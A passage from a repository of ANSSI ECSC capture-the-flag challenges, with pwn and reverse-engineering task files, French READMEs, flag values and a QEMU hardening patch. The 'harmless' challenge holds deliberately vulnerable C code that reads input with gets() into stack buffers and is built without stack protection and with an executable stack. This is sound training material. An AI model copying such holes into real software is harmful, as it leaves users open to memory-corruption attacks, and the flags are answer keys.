365 |     } while (choice >= 1 && choice <= 6);
366 | 
367 |     puts("Bye!");
368 |     exit(EXIT_SUCCESS);
369 | }
370 | 


--------------------------------------------------------------------------------
/pwn-byot/byot.h:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * Build Your Own ECSC Team
 3 |  */
 4 | #ifndef BYOT_H
 5 | #define BYOT_H
 6 | 
 7 | struct player {
 8 |     unsigned int pwn;
 9 |     unsigned int crypto;
10 |     unsigned int web;
11 |     unsigned int stega;
12 |     char *name;
13 | };
14 | 
15 | void print_main_menu();
16 | void print_edit_menu();
17 | void read_input(char *, unsigned int);
18 | unsigned int edit_menu();
19 | unsigned int main_menu();
20 | void edit_player();
21 | void set_name();
22 | void set_pwn();
23 | void set_crypto();
24 | void set_web();
25 | void set_stega();
26 | void select_player();
27 | void add_player();
28 | void remove_player();
29 | void print_player(struct player *);
30 | void show_player();
31 | void show_team();
32 | 
33 | #endif //BYOT_H
34 | 


--------------------------------------------------------------------------------
/pwn-byot/flag:
--------------------------------------------------------------------------------
1 | lh_96342cadb282ec609e06b3467b8a339d1f471fe54786f9113344d1b950d1aded
2 | 


--------------------------------------------------------------------------------
/pwn-byot/libc-2.24.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-byot/libc-2.24.so


--------------------------------------------------------------------------------
/pwn-harmless/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM debian:stable-slim AS builder
 2 | RUN apt-get update && apt-get install -y gcc-arm-linux-gnueabi make
 3 | WORKDIR /build/
 4 | COPY harmless.c Makefile ./
 5 | RUN make
 6 | 
 7 | FROM debian:stable-slim
 8 | RUN apt update \
 9 |     && apt install -y socat libc6-armel-cross libpixman-1-dev libfdt-dev wget patch \
10 |     && apt install -y build-essential zlib1g-dev pkg-config libglib2.0-dev binutils-dev libboost-all-dev autoconf libtool libssl-dev libpixman-1-dev libpython-dev python-pip python-capstone virtualenv
11 | 
12 | ## Compile patched QEMU with ASLR support
13 | RUN wget https://github.com/qemu/qemu/archive/v2.7.0.tar.gz \
14 |     && tar xzf v2.7.0.tar.gz \
15 |     && mv qemu-2.7.0 qemu-2.7.0.orig
16 | COPY qemu-2.7.0-aslr_heap_pie_nx_wxorx_mmap.patch .
17 | RUN patch -s -p0 < qemu-2.7.0-aslr_heap_pie_nx_wxorx_mmap.patch
18 | RUN mv qemu-2.7.0.orig qemu-2.7.0 \
19 |     && cd qemu-2.7.0 \
20 |     && ./configure --target-list="arm-linux-user" \
21 |     && make all
22 | RUN cd /qemu-2.7.0 && make install
23 | RUN rm -rf qemu-2.7.0/ qemu-2.7.0-aslr_heap_pie_nx_wxorx_mmap.patch v2.7.0.tar.gz
24 | ##
25 | RUN useradd ctf
26 | WORKDIR /app/
27 | COPY --from=builder /build/harmless ./
28 | COPY flag run.sh ./
29 | EXPOSE 4001
30 | USER ctf
31 | CMD socat tcp-listen:4001,reuseaddr,fork exec:./run.sh
32 | 


--------------------------------------------------------------------------------
/pwn-harmless/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | 	arm-linux-gnueabi-gcc -Wall -Wextra harmless.c -o harmless -fno-stack-protector -fomit-frame-pointer -Wl,-z,execstack -no-pie
3 | 
4 | clean:
5 | 	rm *.o *~ harmless
6 | 


--------------------------------------------------------------------------------
/pwn-harmless/README.md:
--------------------------------------------------------------------------------
 1 | # Harmless
 2 | 
 3 | | Phase          | Catégorie  |  Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:----------:|:------------:|:---------------------:|
 5 | | Finale France  | pwn        |   Facile     |               28 / 50 | 
 6 | 
 7 | ### Description
 8 | 
 9 | Exploitez le binaire fourni (`harmless`) pour lire le fichier `flag`.
10 | 
11 | SHA256(`harmless`): `560dfc1b4dfa50a400efdf74c11f5bff40085d1f9d3a5485a5dba47108dbe60c`.
12 | 


--------------------------------------------------------------------------------
/pwn-harmless/flag:
--------------------------------------------------------------------------------
1 | lh_fc6edd667efb8ce882565f7dbfcd4dc1ea65d411eb6e7e0ba0ad3c156d0719fc
2 | 


--------------------------------------------------------------------------------
/pwn-harmless/harmless:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-harmless/harmless


--------------------------------------------------------------------------------
/pwn-harmless/harmless.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <stdlib.h>
 3 | #include <string.h>
 4 | 
 5 | int main () {
 6 |   char username[32];
 7 |   char age[4];
 8 |   char dev[4];
 9 |   char comment[128];
10 | 
11 |   printf("Hello, and welcome to ECSC!\n");
12 |   printf("My name is Michel.\n");
13 | 
14 |   printf("What's your name?\n");
15 |   printf(">> ");fflush(stdout);
16 |   gets(username);
17 | 
18 |   printf("Nice to meet you %s. How old are you?\n", username);
19 |   printf(">> ");fflush(stdout);
20 |   gets(age);
21 | 
22 |   printf("Are you a developper? [Y/N]\n");
23 |   printf(">> ");fflush(stdout);
24 |   gets(dev);
25 | 
26 |   if (strncmp(dev, "Y", 1) == 0) {
27 |     printf("This might be useful for you:\n");
28 |     printf("\tusername: %p\n", &username);
29 |     printf("\t     age: %p\n", &age);
30 |     printf("\t     dev: %p\n", &dev);
31 |     printf("\t comment: %p\n", &comment);
32 |   } else {
33 |     printf("Goodbye then!\n");
34 |     return 0;
35 |   }
36 | 
37 |   printf("Feel free to drop us a short comment about this CTF.\n");
38 |   printf(">> ");fflush(stdout);
39 |   gets(comment);
40 | 
41 |   printf("Thanks for your feedback!\n");
42 |   printf("Bye.\n");
43 |   
44 |   return 0;
45 | }
46 | 


--------------------------------------------------------------------------------
/pwn-harmless/qemu-2.7.0-aslr_heap_pie_nx_wxorx_mmap.patch:
--------------------------------------------------------------------------------
  1 | diff -Naur qemu-2.7.0.orig/cpu-exec.c qemu-2.7.0/cpu-exec.c
  2 | --- qemu-2.7.0.orig/cpu-exec.c	2016-09-02 17:34:17.000000000 +0200
  3 | +++ qemu-2.7.0/cpu-exec.c	2017-01-19 09:34:00.817088525 +0100
  4 | @@ -33,6 +33,9 @@
  5 |  #include "hw/i386/apic.h"
  6 |  #endif
  7 |  #include "sysemu/replay.h"
  8 | +#include "syscall_defs.h"
  9 | +
 10 | +extern int do_nx;
 11 |  
 12 |  /* -icount align implementation. */
 13 |  
 14 | @@ -576,6 +579,38 @@
 15 |      }
 16 |  }
 17 |  
 18 | +int is_page_exec(target_ulong address)
 19 | +{
 20 | +    int ret = page_get_flags(address);
 21 | +    if (ret == 0)
 22 | +    {
 23 | +        // Special case like for ARM where PC gets set on vector addresses, not mapped under qemu
 24 | +        // http://code.metager.de/source/xref/lib/eglibc/libc/ports/sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S
 25 | +        // We fake it being executable to let qemu handle the exception
 26 | +        return 1;
 27 | +    }
 28 | +    return ((ret & PAGE_EXEC) == PAGE_EXEC);
 29 | +}
 30 | +
 31 | +int check_nx(CPUArchState *env)
 32 | +{
 33 | +#if defined(TARGET_MIPS)
 34 | +    if (!is_page_exec(env->active_tc.PC))
 35 | +#elif defined(TARGET_ARM)
 36 | +    if (!is_page_exec(env->regs[15]))
 37 | +//  != PAGE_EXEC) && ((env->regs[15] & 0xffff0000 ) != 0xffff0000))
 38 | +#else
 39 | +//TODO implement other arches
 40 | +    if (false)
 41 | +#endif
 42 | +    {
 43 | +        target_siginfo_t info;
 44 | +        queue_signal(env, info.si_signo, &info);
 45 | +        return 1;
 46 | +    }
 47 | +    return 0;
 48 | +}
 49 | +
 50 |  /* main execution loop */
 51 |  
 52 |  int cpu_exec(CPUState *cpu)
 53 | @@ -623,6 +658,13 @@
 54 |                  cpu_handle_interrupt(cpu, &last_tb);
 55 |                  tb = tb_find_fast(cpu, &last_tb, tb_exit);
 56 |                  cpu_loop_exec_tb(cpu, tb, &last_tb, &tb_exit, &sc);
 57 | +                if(do_nx)
 58 | +                {
 59 | +                    if (check_nx(cpu->env_ptr))
 60 | +                    {
 61 | +                        return EXCP_INTERRUPT;
 62 | +                    }
 63 | +                }
 64 |                  /* Try to align the host and virtual clocks
 65 |                     if the guest is in advance */
 66 |                  align_clocks(&sc, cpu);
 67 | diff -Naur qemu-2.7.0.orig/include/exec/cpu-all.h qemu-2.7.0/include/exec/cpu-all.h
 68 | --- qemu-2.7.0.orig/include/exec/cpu-all.h	2016-09-02 17:34:20.000000000 +0200
 69 | +++ qemu-2.7.0/include/exec/cpu-all.h	2017-01-16 20:01:20.395107430 +0100
 70 | @@ -211,6 +211,8 @@
 71 |  #define PAGE_EXEC      0x0004
 72 |  #define PAGE_BITS      (PAGE_READ | PAGE_WRITE | PAGE_EXEC)
 73 |  #define PAGE_VALID     0x0008
 74 | +#define PAGE_WWRITE    0x0200
 75 | +#define PAGE_WEXEC     0x0400
 76 |  /* original state of the write flag (used when tracking self-modifying
 77 |     code */
 78 |  #define PAGE_WRITE_ORG 0x0010
 79 | diff -Naur qemu-2.7.0.orig/linux-user/elfload.c qemu-2.7.0/linux-user/elfload.c
 80 | --- qemu-2.7.0.orig/linux-user/elfload.c	2016-09-02 17:34:22.000000000 +0200
 81 | +++ qemu-2.7.0/linux-user/elfload.c	2017-01-17 00:07:17.371221207 +0100
 82 | @@ -8,6 +8,9 @@
 83 |  #include "disas/disas.h"
 84 |  #include "qemu/path.h"
 85 |  
 86 | +int do_aslr = 1;
 87 | +int do_pie = 1;
 88 | +
 89 |  #ifdef _ARCH_PPC64
 90 |  #undef ARCH_DLINFO
 91 |  #undef ELF_PLATFORM
 92 | @@ -1435,8 +1438,32 @@
 93 |          guard = qemu_real_host_page_size;
 94 |      }
 95 |  
 96 | -    error = target_mmap(0, size + guard, PROT_READ | PROT_WRITE,
 97 | +    if (do_aslr == 0)
 98 | +    {
 99 | +        error = target_mmap(0, size + guard, PROT_READ | PROT_WRITE,
100 |                          MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
101 | +    }
102 | +    else
103 | +    {
104 | +        int attempts;
105 | +        int newarg1;
106 | +        int fd = open("/dev/urandom", O_RDONLY);
107 | +        read(fd, &newarg1, sizeof(newarg1));
108 | +        close(fd);
109 | +        srand(newarg1);
110 | +
111 | +        for(attempts = 0; attempts < 10; attempts++)
112 | +        {
113 | +           if(attempts < 9)
114 | +               newarg1 = (rand() & 0x00fff000)|0xf2000000;
115 | +           else
116 | +               newarg1 = 0;
117 | +           error = target_mmap(newarg1, size + guard, PROT_READ | PROT_WRITE,
118 | +                            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
119 | +           if((error > 0) || (error < -TARGET_ENOTRECOVERABLE))
120 | +               break;
121 | +        }
122 | +    }
123 |      if (error == -1) {
124 |          perror("mmap stack");
125 |          exit(-1);
126 | @@ -1807,10 +1834,15 @@
127 |  {
128 |      struct elfhdr *ehdr = (struct elfhdr *)bprm_buf;
129 |      struct elf_phdr *phdr;
130 | -    abi_ulong load_addr, load_bias, loaddr, hiaddr, error;
131 | +    abi_ulong load_addr, load_bias, loaddr, newloaddr, hiaddr, error;
132 |      int i, retval;
133 |      const char *errmsg;
134 |  
135 | +    i = open("/dev/urandom", O_RDONLY);
136 | +    read(i, &retval, sizeof(retval));
137 | +    close(i);
138 | +    srand(retval);
139 | +
140 |      /* First of all, some simple consistency checks */
141 |      errmsg = "Invalid ELF image for this architecture";
142 |      if (!elf_check_ident(ehdr)) {
143 | @@ -1858,7 +1890,8 @@
144 |      }
145 |  
146 |      load_addr = loaddr;
147 | -    if (ehdr->e_type == ET_DYN) {
148 | +
149 | +    if ((ehdr->e_type == ET_DYN) && (do_pie == 0)) {
150 |          /* The image indicates that it can be loaded anywhere.  Find a
151 |             location that can hold the memory space required.  If the
152 |             image is pre-linked, LOADDR will be non-zero.  Since we do
153 | @@ -1870,6 +1903,33 @@
154 |          if (load_addr == -1) {
155 |              goto exit_perror;
156 |          }
157 | +    }
158 | +    else if ((ehdr->e_type == ET_DYN) && (do_pie == 1)) {
159 | +
160 | +#define load_attempts 10
161 | +	for(i = 0; i < load_attempts; i++)
162 | +	{
163 | +		//try 9 times, otherwise select 0 as a last resort
164 | +		if((loaddr == 0) && (i < (load_attempts-1)))
165 | +			newloaddr = rand() & 0xfffff000;
166 | +		else
167 | +			newloaddr = loaddr;
168 | +
169 | +        	load_addr = target_mmap(newloaddr, hiaddr - loaddr, PROT_NONE,
170 | +                	                MAP_PRIVATE | MAP_ANON | MAP_NORESERVE,
171 | +                        	        -1, 0);
172 | +        	if (load_addr == -1) {
173 | +			if (loaddr != 0)
174 | +				goto exit_perror;
175 | +			else if (i >= load_attempts)
176 | +			{
177 | +				//we keep trying and failing
178 | +				goto exit_perror;
179 | +			}
180 | +		}
181 | +		else
182 | +			break;
183 | +        }
184 |      } else if (pinterp_name != NULL) {
185 |          /* This is the main executable.  Make sure that the low
186 |             address does not conflict with MMAP_MIN_ADDR or the
187 | @@ -1906,7 +1966,7 @@
188 |      info->end_code = 0;
189 |      info->start_data = -1;
190 |      info->end_data = 0;
191 | -    info->brk = 0;
192 | +    info->brk = rand() & 0x7ffff000;
193 |      info->elf_flags = ehdr->e_flags;
194 |  
195 |      for (i = 0; i < ehdr->e_phnum; i++) {
196 | diff -Naur qemu-2.7.0.orig/linux-user/main.c qemu-2.7.0/linux-user/main.c
197 | --- qemu-2.7.0.orig/linux-user/main.c	2016-09-02 17:34:22.000000000 +0200
198 | +++ qemu-2.7.0/linux-user/main.c	2017-01-16 20:01:20.396107430 +0100
199 | @@ -48,6 +48,7 @@
200 |  unsigned long mmap_min_addr;
201 |  unsigned long guest_base;
202 |  int have_guest_base;
203 | +int do_nx = 0;
204 |  
205 |  #define EXCP_DUMP(env, fmt, ...)                                        \
206 |  do {                                                                    \
207 | @@ -4011,6 +4012,31 @@
208 |      trace_file = trace_opt_parse(arg);
209 |  }
210 |  
211 | +static void handle_arg_nx(const char *arg)
212 | +{
213 | +    do_nx = 1;
214 | +}
215 | +
216 | +static void handle_arg_mmap(const char *arg)
217 | +{
218 | +    do_mmap = 1;
219 | +}
220 | +
221 | +static void handle_arg_nopie(const char *arg)
222 | +{
223 | +    do_pie = 0;
224 | +}
225 | +
226 | +static void handle_arg_noaslr(const char *arg)
227 | +{
228 | +    do_aslr = 0;
229 | +}
230 | +
231 | +static void handle_arg_wxorx(const char *arg)
232 | +{
233 | +    do_wxorx = 1;
234 | +}
235 | +
236 |  struct qemu_argument {
237 |      const char *argv;
238 |      const char *env;
239 | @@ -4062,6 +4088,16 @@
240 |       "",           "[[enable=]<pattern>][,events=<file>][,file=<file>]"},
241 |      {"version",    "QEMU_VERSION",     false, handle_arg_version,
242 |       "",           "display version information and exit"},
243 | +    {"mmap",       "QEMU_MMAP",        false, handle_arg_mmap,
244 | +     "",           "show mmap allocations"},
245 | +    {"nx",         "QEMU_NX",          false, handle_arg_nx,
246 | +     "",           "enable NX implementation"},
247 | +    {"nopie",      "QEMU_NOPIE",       false, handle_arg_nopie,
248 | +     "",           "disable PIE randomization"},
249 | +    {"noaslr",     "QEMU_NOASLR",      false, handle_arg_noaslr,
250 | +     "",           "disable ASLR randomization"},
251 | +    {"wxorx",      "QEMU_WXORX",       false, handle_arg_wxorx,
252 | +     "",           "enable W^X implementation"},
253 |      {NULL, NULL, false, NULL, NULL, NULL}
254 |  };
255 |  
256 | diff -Naur qemu-2.7.0.orig/linux-user/mmap.c qemu-2.7.0/linux-user/mmap.c
257 | --- qemu-2.7.0.orig/linux-user/mmap.c	2016-09-02 17:34:22.000000000 +0200
258 | +++ qemu-2.7.0/linux-user/mmap.c	2017-01-16 20:01:20.397107430 +0100
259 | @@ -24,7 +24,10 @@
260 |  #include "qemu-common.h"
261 |  #include "translate-all.h"
262 |  
263 | -//#define DEBUG_MMAP
264 | +int do_wxorx = 0;
265 | +int do_mmap = 0;
266 | +
267 | +#define DEBUG_MMAP
268 |  
269 |  static pthread_mutex_t mmap_mutex = PTHREAD_MUTEX_INITIALIZER;
270 |  static __thread int mmap_lock_count;
271 | @@ -66,11 +69,16 @@
272 |      int prot1, ret;
273 |  
274 |  #ifdef DEBUG_MMAP
275 | -    printf("mprotect: start=0x" TARGET_ABI_FMT_lx
276 | -           "len=0x" TARGET_ABI_FMT_lx " prot=%c%c%c\n", start, len,
277 | +    if (do_mmap == 1)
278 | +    {
279 | +        printf("mprotect: start=0x" TARGET_ABI_FMT_lx
280 | +           "len=0x" TARGET_ABI_FMT_lx " prot=%c%c%c  extprot=%c%c\n", start, len,
281 |             prot & PROT_READ ? 'r' : '-',
282 |             prot & PROT_WRITE ? 'w' : '-',
283 | -           prot & PROT_EXEC ? 'x' : '-');
284 | +           prot & PROT_EXEC ? 'x' : '-',
285 | +           page_get_flags(start) & PAGE_WWRITE ? 'W' : '-',
286 | +           page_get_flags(start) & PAGE_WEXEC ? 'X' : '-');
287 | +    }
288 |  #endif
289 |  
290 |      if ((start & ~TARGET_PAGE_MASK) != 0)
291 | @@ -79,10 +87,24 @@
292 |      end = start + len;
293 |      if (end < start)
294 |          return -EINVAL;
295 | -    prot &= PROT_READ | PROT_WRITE | PROT_EXEC;
296 | +    if (do_wxorx == 0)
297 | +    {
298 | +        prot &= PROT_READ | PROT_WRITE | PROT_EXEC;
299 | +    }
300 | +    else {
301 | +        prot &= PROT_READ | PROT_WRITE | PROT_EXEC | PAGE_WEXEC | PAGE_WWRITE;
302 | +    }
303 |      if (len == 0)
304 |          return 0;
305 |  
306 | +    if (do_wxorx == 1)
307 | +    {
308 | +        if (((prot & PROT_EXEC) && (prot & PROT_WRITE)) || ((page_get_flags(start) & PAGE_WEXEC) && (prot & PAGE_WRITE)) || ((page_get_flags(start) & PAGE_WWRITE) && (prot & PROT_EXEC)))
309 | +        {
310 | +            return -EINVAL;
311 | +        }
312 | +    }
313 | +
314 |      mmap_lock();
315 |      host_start = start & qemu_host_page_mask;
316 |      host_end = HOST_PAGE_ALIGN(end);
317 | @@ -121,6 +143,10 @@
318 |          if (ret != 0)
319 |              goto error;
320 |      }
321 | +    if ((prot & PROT_WRITE) && (do_wxorx == 1))
322 | +        prot |= PAGE_WWRITE;
323 | +    else if ((prot & PROT_EXEC) && (do_wxorx == 1))
324 | +        prot |= PAGE_WEXEC;
325 |      page_set_flags(start, start + len, prot | PAGE_VALID);
326 |      mmap_unlock();
327 |      return 0;
328 | @@ -365,6 +391,7 @@
329 |  
330 |      mmap_lock();
331 |  #ifdef DEBUG_MMAP
332 | +    if (do_mmap == 1)
333 |      {
334 |          printf("mmap: start=0x" TARGET_ABI_FMT_lx
335 |                 " len=0x" TARGET_ABI_FMT_lx " prot=%c%c%c flags=",
336 | @@ -391,6 +418,12 @@
337 |      }
338 |  #endif
339 |  
340 | +    if ((do_wxorx == 1 ) && ((prot & PROT_EXEC) && (prot & PROT_WRITE)))
341 | +    {
342 | +        errno = EINVAL;
343 | +        goto fail;
344 | +    }
345 | +
346 |      if (offset & ~TARGET_PAGE_MASK) {
347 |          errno = EINVAL;
348 |          goto fail;
349 | @@ -553,12 +586,19 @@
350 |          }
351 |      }
352 |   the_end1:
353 | +    if ((prot & PROT_WRITE) && (do_wxorx == 1))
354 | +        prot |= PAGE_WWRITE;
355 | +    else if ((prot & PROT_EXEC) && (do_wxorx == 1))
356 | +        prot |= PAGE_WEXEC;
357 |      page_set_flags(start, start + len, prot | PAGE_VALID);
358 |   the_end:
359 |  #ifdef DEBUG_MMAP
360 | -    printf("ret=0x" TARGET_ABI_FMT_lx "\n", start);
361 | -    page_dump(stdout);
362 | -    printf("\n");
363 | +    if (do_mmap == 1)
364 | +    {
365 | +        printf("ret=0x" TARGET_ABI_FMT_lx "\n", start);
366 | +        page_dump(stdout);
367 | +        printf("\n");
368 | +    }
369 |  #endif
370 |      tb_invalidate_phys_range(start, start + len);
371 |      mmap_unlock();
372 | @@ -615,9 +655,13 @@
373 |      int prot, ret;
374 |  
375 |  #ifdef DEBUG_MMAP
376 | -    printf("munmap: start=0x" TARGET_ABI_FMT_lx " len=0x"
377 | +    if (do_mmap)
378 | +    {
379 | +
380 | +        printf("munmap: start=0x" TARGET_ABI_FMT_lx " len=0x"
381 |             TARGET_ABI_FMT_lx "\n",
382 |             start, len);
383 | +    }
384 |  #endif
385 |      if (start & ~TARGET_PAGE_MASK)
386 |          return -EINVAL;
387 | diff -Naur qemu-2.7.0.orig/linux-user/qemu.h qemu-2.7.0/linux-user/qemu.h
388 | --- qemu-2.7.0.orig/linux-user/qemu.h	2016-09-02 17:34:22.000000000 +0200
389 | +++ qemu-2.7.0/linux-user/qemu.h	2017-01-16 20:01:20.397107430 +0100
390 | @@ -354,6 +354,12 @@
391 |  
392 |  #endif
393 |  
394 | +/*  global variables */
395 | +extern int do_wxorx;
396 | +extern int do_aslr;
397 | +extern int do_pie;
398 | +extern int do_mmap;
399 | +
400 |  /* syscall.c */
401 |  int host_to_target_waitstatus(int status);
402 |  
403 | diff -Naur qemu-2.7.0.orig/linux-user/syscall.c qemu-2.7.0/linux-user/syscall.c
404 | --- qemu-2.7.0.orig/linux-user/syscall.c	2016-09-02 17:34:22.000000000 +0200
405 | +++ qemu-2.7.0/linux-user/syscall.c	2017-01-16 20:01:20.398107430 +0100
406 | @@ -1031,7 +1031,6 @@
407 |      mapped_addr = get_errno(target_mmap(brk_page, new_alloc_size,
408 |                                          PROT_READ|PROT_WRITE,
409 |                                          MAP_ANON|MAP_PRIVATE, 0, 0));
410 | -
411 |      if (mapped_addr == brk_page) {
412 |          /* Heap contents are initialized to zero, as for anonymous
413 |           * mapped pages.  Technically the new pages are already
414 | @@ -4588,8 +4587,27 @@
415 |          host_raddr = shmat(shmid, (void *)g2h(shmaddr), shmflg);
416 |      else {
417 |          abi_ulong mmap_start;
418 | -
419 | -        mmap_start = mmap_find_vma(0, shm_info.shm_segsz);
420 | +        if (do_aslr == 0)
421 | +        {
422 | +          mmap_start = mmap_find_vma(0, shm_info.shm_segsz);
423 | +        }
424 | +        else
425 | +        {
426 | +          int attempts;
427 | +          int newstart;
428 | +          int fd = open("/dev/urandom", O_RDONLY);
429 | +          read(fd, &newstart, sizeof(newstart));
430 | +          close(fd);
431 | +          srand(newstart);
432 | +
433 | +          for(attempts = 0; attempts < 10; attempts++)
434 | +          {
435 | +            newstart = rand() & 0xffffe000;
436 | +            mmap_start = mmap_find_vma(newstart, shm_info.shm_segsz);
437 | +            if(mmap_start > 0)
438 | +              break;
439 | +          }
440 | +        }
441 |  
442 |          if (mmap_start == -1) {
443 |              errno = ENOMEM;
444 | @@ -8829,10 +8847,39 @@
445 |                                          v5, v6));
446 |          }
447 |  #else
448 | +    if (do_aslr == 0)
449 | +    {
450 |          ret = get_errno(target_mmap(arg1, arg2, arg3,
451 |                                      target_to_host_bitmask(arg4, mmap_flags_tbl),
452 |                                      arg5,
453 |                                      arg6));
454 | +    }
455 | +    else
456 | +  {
457 | +    int attempts;
458 | +    int newarg1;
459 | +    if(arg1 == 0)
460 | +    {
461 | +      int fd = open("/dev/urandom", O_RDONLY);
462 | +      read(fd, &newarg1, sizeof(newarg1));
463 | +      close(fd);
464 | +      srand(newarg1);
465 | +    }
466 | +
467 | +    for(attempts = 0; attempts < 10; attempts++)
468 | +    {
469 | +      if((arg1 == 0) && (attempts < 9))
470 | +        newarg1 = rand() & 0xfffff000;
471 | +      else
472 | +        newarg1 = arg1;
473 | +            ret = get_errno(target_mmap(newarg1, arg2, arg3,
474 | +                                    target_to_host_bitmask(arg4, mmap_flags_tbl),
475 | +                                    arg5,
476 | +                                    arg6));
477 | +      if((ret > 0) || (ret < -TARGET_ENOTRECOVERABLE))
478 | +        break;
479 | +    }
480 | +  }
481 |  #endif
482 |          break;
483 |  #endif
484 | @@ -8841,10 +8888,39 @@
485 |  #ifndef MMAP_SHIFT
486 |  #define MMAP_SHIFT 12
487 |  #endif
488 | +    if (do_aslr == 0)
489 | +    {
490 |          ret = get_errno(target_mmap(arg1, arg2, arg3,
491 |                                      target_to_host_bitmask(arg4, mmap_flags_tbl),
492 |                                      arg5,
493 |                                      arg6 << MMAP_SHIFT));
494 | +    }
495 | +    else
496 | +	{
497 | +		int attempts;
498 | +		int newarg1;
499 | +		if(arg1 == 0)
500 | +		{
501 | +			int fd = open("/dev/urandom", O_RDONLY);
502 | +			read(fd, &newarg1, sizeof(newarg1));
503 | +			close(fd);
504 | +			srand(newarg1);
505 | +		}
506 | +
507 | +		for(attempts = 0; attempts < 10; attempts++)
508 | +		{
509 | +			if((arg1 == 0) && (attempts < 9))
510 | +				newarg1 = rand() & 0xfffff000;
511 | +			else
512 | +				newarg1 = arg1;
513 | +	        	ret = get_errno(target_mmap(newarg1, arg2, arg3,
514 | +        	        	                    target_to_host_bitmask(arg4, mmap_flags_tbl),
515 | +                	        	            arg5,
516 | +                        	        	    arg6 << MMAP_SHIFT));
517 | +			if((ret > 0) || (ret < -TARGET_ENOTRECOVERABLE))
518 | +				break;
519 | +		}
520 | +	}
521 |          break;
522 |  #endif
523 |      case TARGET_NR_munmap:
524 | 


--------------------------------------------------------------------------------
/pwn-harmless/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | qemu-arm -L /usr/arm-linux-gnueabi ./harmless
3 | 


--------------------------------------------------------------------------------
/reverse-Ariane/README.md:
--------------------------------------------------------------------------------
 1 | # Ariane
 2 | 
 3 | | Phase          | Catégorie    |  Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:------------:|:---------------------:|
 5 | | Pré-sélections | reverse      |  Difficile   |              5 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Le flag n'est pas de la forme `ECSC{...}`.
10 | 
11 | SHA256(`ariane.exe`) = `73767b072a20e1616c1d7b07b631c30b2c9cee93ad08582f9c759b465abc3d0e`.
12 | 


--------------------------------------------------------------------------------
/reverse-Ariane/ariane.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/reverse-Ariane/ariane.exe


--------------------------------------------------------------------------------
/reverse-MagasinASecrets/MagasinSecret:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/reverse-MagasinASecrets/MagasinSecret


--------------------------------------------------------------------------------
/reverse-MagasinASecrets/README.md:
--------------------------------------------------------------------------------
 1 | # Magasin à Secrets
 2 | 
 3 | | Phase          | Catégorie         |  Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:-----------------:|:------------:|:---------------------:|
 5 | | Finale France  | reverse           |    Moyen     |                3 / 50 |
 6 | 
 7 | ### Description
 8 | 
 9 | Lors d'une réponse à incident, nous avons pu récupérer un gestionnaire de mot de passe maison laissé par l'attaquant sur une machine de la victime.
10 | 
11 | Nous avons également pu récupérer une conversation entre deux attaquants :
12 | 
13 | ```
14 | z3r0: ta vu je t'est envoyé un mail avec le mdp netflix
15 | LBigBossDu15: A merci je vais maté fast and furious ce soir alors
16 | LBigBossDu15: Je lai mis dans le magasin de mdp
17 | z3r0: t est bete, je lavais deja mis, et on a tous le meme mdp
18 | LBigBossDu15: A oui, cest vrai mdr
19 | ```
20 | 
21 | Peut-être est-il possible de récupérer leurs secrets ?
22 | 
23 | SHA256(`MagasinSecret`): `3d2157e0a7e1a2ca4b031011880189e9f17032db22a3614f9e3905889b1b605e`.
24 | 


--------------------------------------------------------------------------------
/reverse-ThePytector/README.md:
--------------------------------------------------------------------------------
 1 | # The Pytector
 2 | 
 3 | | Phase          | Catégorie    |  Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:------------:|:---------------------:|
 5 | | Pré-sélections | reverse      |   Moyen      |             19 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Retrouver le numéro de série pour valider le challenge.
10 | 
11 | SHA256(`check_serial.zip`) : `853fc0c369a449947e5808603210ba0df9070c6dbc2f28634fe6f97cdc936a03`.
12 | 


--------------------------------------------------------------------------------
/reverse-ThePytector/check_serial.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/reverse-ThePytector/check_serial.zip


--------------------------------------------------------------------------------
/reverse-baby/Makefile:
--------------------------------------------------------------------------------
 1 | TARGET = baby
 2 | LIBS = -lm
 3 | CC = gcc
 4 | CFLAGS = -g -Wall
 5 | 
 6 | .PHONY: default all clean
 7 | 
 8 | default: $(TARGET)
 9 | all: default
10 | 
11 | OBJECTS = $(patsubst %.c, %.o, $(wildcard *.c))
12 | HEADERS = $(wildcard *.h)
13 | 
14 | %.o: %.c $(HEADERS)
15 | 	$(CC) $(CFLAGS) -c $< -o $@
16 | 
17 | .PRECIOUS: $(TARGET) $(OBJECTS)
18 | 
19 | $(TARGET): $(OBJECTS)
20 | 	$(CC) $(OBJECTS) -Wall $(LIBS) -o $@
21 | 
22 | clean:
23 | 	-rm -f *.o
24 | 	-rm -f $(TARGET)
25 | 


--------------------------------------------------------------------------------
/reverse-baby/README.md:
--------------------------------------------------------------------------------
 1 | # ybab
 2 | 
 3 | | Phase          | Catégorie    |  Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:------------:|:---------------------:|
 5 | | Pré-sélections | reverse      |   Facile     |            643 / 1241 |
 6 | 
 7 | 
 8 | ### Description
 9 | 
10 | .semèlborp ed resop suov sap tiarved en egnellahc eC
11 | 


--------------------------------------------------------------------------------
/reverse-baby/baby:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/reverse-baby/baby


--------------------------------------------------------------------------------
/reverse-baby/baby.c:
--------------------------------------------------------------------------------
